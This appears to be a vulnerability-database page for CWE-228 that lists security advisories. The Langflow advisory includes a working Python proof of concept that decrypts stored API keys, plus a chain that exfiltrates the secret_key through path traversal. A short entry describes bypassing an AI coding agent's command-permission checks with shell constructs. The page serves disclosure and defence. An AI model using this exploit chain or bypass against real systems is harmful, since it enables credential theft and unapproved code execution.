CWE-228
Allowed-with-ReviewImproper Handling of Syntactically Invalid Structure
Abstraction: Class · Status: Incomplete
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
42 vulnerabilities reference this CWE, most recent first.
GHSA-JXW3-MJMX-3PQM
Vulnerability from github – Published: 2026-10-05 22:31 – Updated: 2026-10-05 22:31Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
- If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
- If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3:
- Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
- Two Credential-type variables found in the variable table
- Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"
- The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key
End-to-end chain (with MCP path traversal):
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
- Database connection strings and passwords stored as credentials are exposed
- OAuth tokens and webhook secrets stored via the Variables UI are exposed
- All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide
SECRET_KEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.0"
},
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9205"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:31:35Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nLangflow uses Python\u0027s `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters \u2014 a common scenario for self-hosted deployments using simple/memorable secrets \u2014 the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.\n\nEven when `SECRET_KEY` is 32+ characters (the \"safe\" branch), the raw key material is used directly as the Fernet key \u2014 meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation.\n\n**Severity:** Critical \u2014 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)\n**CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data\n\n### Details\n\n**Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651\u2013663**\n\n```python\nMINIMUM_KEY_LENGTH = 32\n\ndef _ensure_valid_key(self, raw_key: str) -\u003e bytes:\n if len(raw_key) \u003c MINIMUM_KEY_LENGTH:\n random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret\n key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output\n key = base64.urlsafe_b64encode(key)\n else:\n key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key\n return key\n\ndef _get_fernet(self) -\u003e Fernet:\n secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()\n valid_key = self._ensure_valid_key(secret_key)\n return Fernet(valid_key)\n```\n\nThe identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292\u2013318 (called by `DatabaseVariableService.create_variable` and `update_variable`).\n\n**What is encrypted under this key:**\nAll variables stored with `type = \"Credential\"` \u2014 this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:\n\n```python\n# services/variable/service.py\nencrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value\n```\n\n**Why this is critical in combination with the [MCP path traversal](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f):**\nThe `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` \u2014 readable via the MCP path traversal vulnerability. Once exfiltrated:\n- If `len(secret_key) \u003c 32`: run `random.seed(secret_key)` \u2192 derive identical key \u2192 decrypt all credentials instantly\n- If `len(secret_key) \u003e= 32`: pad the key directly \u2192 decrypt all credentials instantly\n\nNo brute force needed in either case once the file is read.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n# Requires: pip install cryptography\n\nimport random\nimport base64\nfrom cryptography.fernet import Fernet\n\n# --- Scenario A: SHORT secret key (\u003c 32 chars) --- triggers vulnerable PRNG branch\ndef decrypt_short_key(secret_key: str, ciphertext: str) -\u003e str:\n random.seed(secret_key)\n key_bytes = bytes(random.getrandbits(8) for _ in range(32))\n fernet_key = base64.urlsafe_b64encode(key_bytes)\n return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()\n\n# --- Scenario B: LONG secret key (\u003e= 32 chars) --- key exfiltration scenario\ndef decrypt_long_key(secret_key: str, ciphertext: str) -\u003e str:\n padding_needed = 4 - len(secret_key) % 4\n padded = secret_key + \"=\" * padding_needed\n return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()\n\n# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)\n# and from SELECT value FROM variable WHERE type=\u0027Credential\u0027 in langflow.db\nSECRET_KEY = \"DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E\" # 43 chars \u2192 long branch\nCIPHERTEXT = \"gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M=\"\n\nplaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)\nprint(f\"Decrypted credential: {plaintext}\")\n# Output: sk-test-SENTINEL-VALUE-12345\n```\n\n**Confirmed on Langflow v1.7.3:**\n- Database path: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db`\n- Two `Credential`-type variables found in the `variable` table\n- Both decrypted successfully: `\"dummy\"` and `\"sk-test-SENTINEL-VALUE-12345\"`\n- The sentinel value (`sk-test-SENTINEL-VALUE-12345`) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated `secret_key`\n\n**End-to-end chain (with MCP path traversal):**\n```bash\n# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)\n# Step 2: Query DB credentials via path traversal (SQLite file readable)\n# Step 3: Decrypt offline \u2014 zero brute force, instant\npython3 poc_decrypt.py \"$SECRET_KEY\" \"$CIPHERTEXT\"\n# \u2192 all stored API keys revealed\n```\n\n### Impact\n\nAll stored user credentials are at risk in any Langflow deployment where an attacker can read the `secret_key` file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:\n\n- **OpenAI, Anthropic, and other LLM provider API keys** stored by any user are decryptable\n- **Database connection strings and passwords** stored as credentials are exposed\n- **OAuth tokens and webhook secrets** stored via the Variables UI are exposed\n- **All users on the instance** are affected \u2014 credentials are stored per-user in the shared database but all encrypted under the same instance-wide `SECRET_KEY`\n\nIn multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.\n\n\n### Fix\n\nFixed in **v1.10.1** by PR [#13704](https://github.com/langflow-ai/langflow/pull/13704) (commit `094694d3f2`).\n\n`ensure_fernet_key()` (`src/backend/base/langflow/services/auth/utils.py`) no longer seeds Python\u0027s non-cryptographic `random` module for short `SECRET_KEY` values. The 32-byte key is now derived deterministically with SHA-256:\n\n```python\ndef ensure_fernet_key(secret_key: str) -\u003e bytes:\n if len(secret_key) \u003c MINIMUM_SECRET_KEY_LENGTH:\n digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes\n key = base64.urlsafe_b64encode(digest)\n else:\n key = add_base64_padding(secret_key).encode()\n return key\n```\n\nBackward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via `get_fernet_for_decryption()`, which returns a `MultiFernet` trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local `random.Random(secret_key)` instance (not the global `random` module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.\n\n**Affected versions:** \u003c= 1.10.0\n**Patched version:** 1.10.1\n\n**Operator note:** deployments running with a `SECRET_KEY` shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated `SECRET_KEY` (`secrets.token_urlsafe(32)`, 43 characters) takes the long-key branch and was never affected by the PRNG issue.",
"id": "GHSA-jxw3-mjmx-3pqm",
"modified": "2026-10-05T22:31:36Z",
"published": "2026-10-05T22:31:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9205"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/pull/13704"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7282648"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langflow: Weak Fernet Key via random.seed()"
}
GHSA-M755-674G-G2X5
Vulnerability from github – Published: 2024-04-22 12:30 – Updated: 2024-07-03 18:36Incorrect access control in Tormach xsTECH CNC Router, PathPilot Controller v2.9.6 allows attackers to access the G code's shared folder and view sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-22809"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-22T12:15:07Z",
"severity": "MODERATE"
},
"details": "Incorrect access control in Tormach xsTECH CNC Router, PathPilot Controller v2.9.6 allows attackers to access the G code\u0027s shared folder and view sensitive information.",
"id": "GHSA-m755-674g-g2x5",
"modified": "2024-07-03T18:36:21Z",
"published": "2024-04-22T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22809"
},
{
"type": "WEB",
"url": "https://gist.github.com/VcuCyber/51075894d1728db07fc2df286c003df9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M93J-546H-JWJV
Vulnerability from github – Published: 2026-09-11 15:32 – Updated: 2026-09-11 15:32An arbitrary code execution vulnerability in Mistral Vibe allows an attacker to bypass command permission checks using shell constructs it's parser cannot interpret. Unparsed portions are omitted from inspection, enabling embedded commands to execute on the user's system without approval.
{
"affected": [],
"aliases": [
"CVE-2026-87986"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-11T15:17:07Z",
"severity": "CRITICAL"
},
"details": "An arbitrary code execution vulnerability in Mistral Vibe allows an attacker to bypass command permission checks using shell constructs it\u0027s parser cannot interpret. Unparsed portions are omitted from inspection, enabling embedded commands to execute on the user\u0027s system without approval.",
"id": "GHSA-m93j-546h-jwjv",
"modified": "2026-09-11T15:32:42Z",
"published": "2026-09-11T15:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87986"
},
{
"type": "WEB",
"url": "https://www.hiddenlayer.com/sai-security-advisory/2026-09-mistral-vibe4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MG79-W9QX-HWJ2
Vulnerability from github – Published: 2026-07-23 21:31 – Updated: 2026-07-23 21:31A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.
{
"affected": [],
"aliases": [
"CVE-2026-50103"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T21:17:05Z",
"severity": "HIGH"
},
"details": "A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.",
"id": "GHSA-mg79-w9qx-hwj2",
"modified": "2026-07-23T21:31:03Z",
"published": "2026-07-23T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50103"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-204-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q3HG-JP42-4PFQ
Vulnerability from github – Published: 2026-04-01 12:31 – Updated: 2026-04-01 12:31Ericsson Packet Core Controller (PCC) versions prior to 1.38 contain a vulnerability where an attacker sending a large volume of specially crafted messages may cause service degradation.
{
"affected": [],
"aliases": [
"CVE-2024-53828"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T10:16:14Z",
"severity": "MODERATE"
},
"details": "Ericsson Packet Core Controller (PCC) versions prior\nto 1.38 contain a vulnerability where an attacker sending a large volume of\nspecially crafted messages may cause service degradation.",
"id": "GHSA-q3hg-jp42-4pfq",
"modified": "2026-04-01T12:31:27Z",
"published": "2026-04-01T12:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53828"
},
{
"type": "WEB",
"url": "https://www.ericsson.com/en/about-us/security/psirt/CVE-2024-53828"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QHWV-QR62-WRRH
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-25 18:31A vulnerability in the HTTP Server feature of Cisco IOS Software and Cisco IOS XE Software Release 3E could allow an authenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition.
This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malformed HTTP requests to an affected device. A successful exploit could allow the attacker to cause a watchdog timer to expire and the device to reload, resulting in a DoS condition. To exploit this vulnerability, the attacker must have a valid user account.
{
"affected": [],
"aliases": [
"CVE-2026-20125"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T16:16:16Z",
"severity": "HIGH"
},
"details": "A vulnerability in the HTTP Server feature of Cisco IOS Software and Cisco IOS XE Software Release 3E could allow an authenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition.\n\n This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malformed HTTP requests to an affected device. A successful exploit could allow the attacker to cause a watchdog timer to expire and the device to reload, resulting in a DoS condition. To exploit this vulnerability, the attacker must have a valid user account.",
"id": "GHSA-qhwv-qr62-wrrh",
"modified": "2026-03-25T18:31:47Z",
"published": "2026-03-25T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20125"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ios-http-dos-sbv8XRpL"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R2PF-HP27-79JW
Vulnerability from github – Published: 2026-05-19 15:31 – Updated: 2026-06-02 15:31Improper Handling of Syntactically Invalid Structure in Sparx Pro Cloud Server allows Denial of Service (DoS) attack to be executed by sending an specially crafted SQL query. This causes the Pro Cloud Server service to terminate unexpectedly.
The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
{
"affected": [],
"aliases": [
"CVE-2026-42100"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T14:16:43Z",
"severity": "HIGH"
},
"details": "Improper Handling of Syntactically Invalid Structure in Sparx Pro Cloud Server allows Denial of Service (DoS) attack to be executed by\u00a0sending an specially crafted SQL query. This causes the Pro Cloud Server service to terminate unexpectedly.\u00a0\n\nThe vendor was notified early about this vulnerability, but didn\u0027t respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.",
"id": "GHSA-r2pf-hp27-79jw",
"modified": "2026-06-02T15:31:54Z",
"published": "2026-05-19T15:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42100"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/05/CVE-2026-42096"
},
{
"type": "WEB",
"url": "https://efigo.pl/blog/CVE-2026-42096"
},
{
"type": "WEB",
"url": "https://sparxsystems.com/products/procloudserver"
},
{
"type": "WEB",
"url": "https://sploit.tech/2026/05/19/Sparx-Enterprise-Architect-PCS.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RFQP-64PG-M8XM
Vulnerability from github – Published: 2025-10-15 18:31 – Updated: 2025-10-15 18:31Applications using affected versions of Ehcache 3.x can experience degraded cache-write performance if the application using Ehcache utilizes keys sourced from (malicious) external parties in an unfiltered/unsalted way.
{
"affected": [],
"aliases": [
"CVE-2025-2529"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-15T16:15:34Z",
"severity": "LOW"
},
"details": "Applications using affected versions of Ehcache 3.x can experience degraded cache-write performance if the application using Ehcache utilizes keys sourced from (malicious) external parties in an unfiltered/unsalted way.",
"id": "GHSA-rfqp-64pg-m8xm",
"modified": "2025-10-15T18:31:50Z",
"published": "2025-10-15T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2529"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7247977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RJ85-C5H6-PFRR
Vulnerability from github – Published: 2024-01-12 03:30 – Updated: 2024-01-12 03:30An Improper Handling of Syntactically Invalid Structure vulnerability in Object Flooding Protocol (OFP) service of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS).
On all Junos OS Evolved platforms, when specific TCP packets are received on an open OFP port, the OFP crashes leading to a restart of Routine Engine (RE). Continuous receipt of these specific TCP packets will lead to a sustained Denial of Service (DoS) condition.
This issue affects:
Juniper Networks Junos OS Evolved
- All versions earlier than 21.2R3-S7-EVO;
- 21.3 versions earlier than 21.3R3-S5-EVO ;
- 21.4 versions earlier than 21.4R3-S5-EVO;
- 22.1 versions earlier than 22.1R3-S4-EVO;
- 22.2 versions earlier than 22.2R3-S3-EVO ;
- 22.3 versions earlier than 22.3R3-EVO;
- 22.4 versions earlier than 22.4R2-EVO, 22.4R3-EVO.
{
"affected": [],
"aliases": [
"CVE-2024-21612"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-12T01:15:49Z",
"severity": "HIGH"
},
"details": "\nAn Improper Handling of Syntactically Invalid Structure vulnerability in Object Flooding Protocol (OFP) service of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a Denial of Service (DoS).\n\nOn all Junos OS Evolved platforms, when specific TCP packets are received on an open OFP port, the OFP crashes leading to a restart of Routine Engine (RE). Continuous receipt of these specific TCP packets will lead to a sustained Denial of Service (DoS) condition.\n\nThis issue affects:\n\nJuniper Networks Junos OS Evolved\n\n\n\n * All versions earlier than 21.2R3-S7-EVO;\n * 21.3 versions earlier than 21.3R3-S5-EVO ;\n * 21.4 versions earlier than 21.4R3-S5-EVO;\n * 22.1 versions earlier than 22.1R3-S4-EVO;\n * 22.2 versions earlier than 22.2R3-S3-EVO ;\n * 22.3 versions earlier than 22.3R3-EVO;\n * 22.4 versions earlier than 22.4R2-EVO, 22.4R3-EVO.\n\n\n\n\n\n\n",
"id": "GHSA-rj85-c5h6-pfrr",
"modified": "2024-01-12T03:30:49Z",
"published": "2024-01-12T03:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21612"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA75753"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8XV-RWGF-4FWH
Vulnerability from github – Published: 2025-01-14 16:32 – Updated: 2025-01-15 15:26Swift ASN.1 can be caused to crash when parsing certain BER/DER constructions. This crash is caused by a confusion in the ASN.1 library itself which assumes that certain objects can only be provided in either constructed or primitive forms, and will trigger a preconditionFailure if that constraint isn't met.
Importantly, these constraints are actually required to be true in DER, but that correctness wasn't enforced on the early node parser side so it was incorrect to rely on it later on in decoding, which is what the library did.
These crashes can be triggered when parsing any DER/BER format object. There is no memory-safety issue here: the crash is a graceful one from the Swift runtime. The impact of this is that it can be used as a denial-of-service vector when parsing BER/DER data from unknown sources, e.g. when parsing TLS certificates.
Many thanks to @baarde for reporting this issue and providing the fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.0"
},
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/apple/swift-asn1"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-0343"
],
"database_specific": {
"cwe_ids": [
"CWE-228"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-14T16:32:07Z",
"nvd_published_at": "2025-01-15T01:15:13Z",
"severity": "LOW"
},
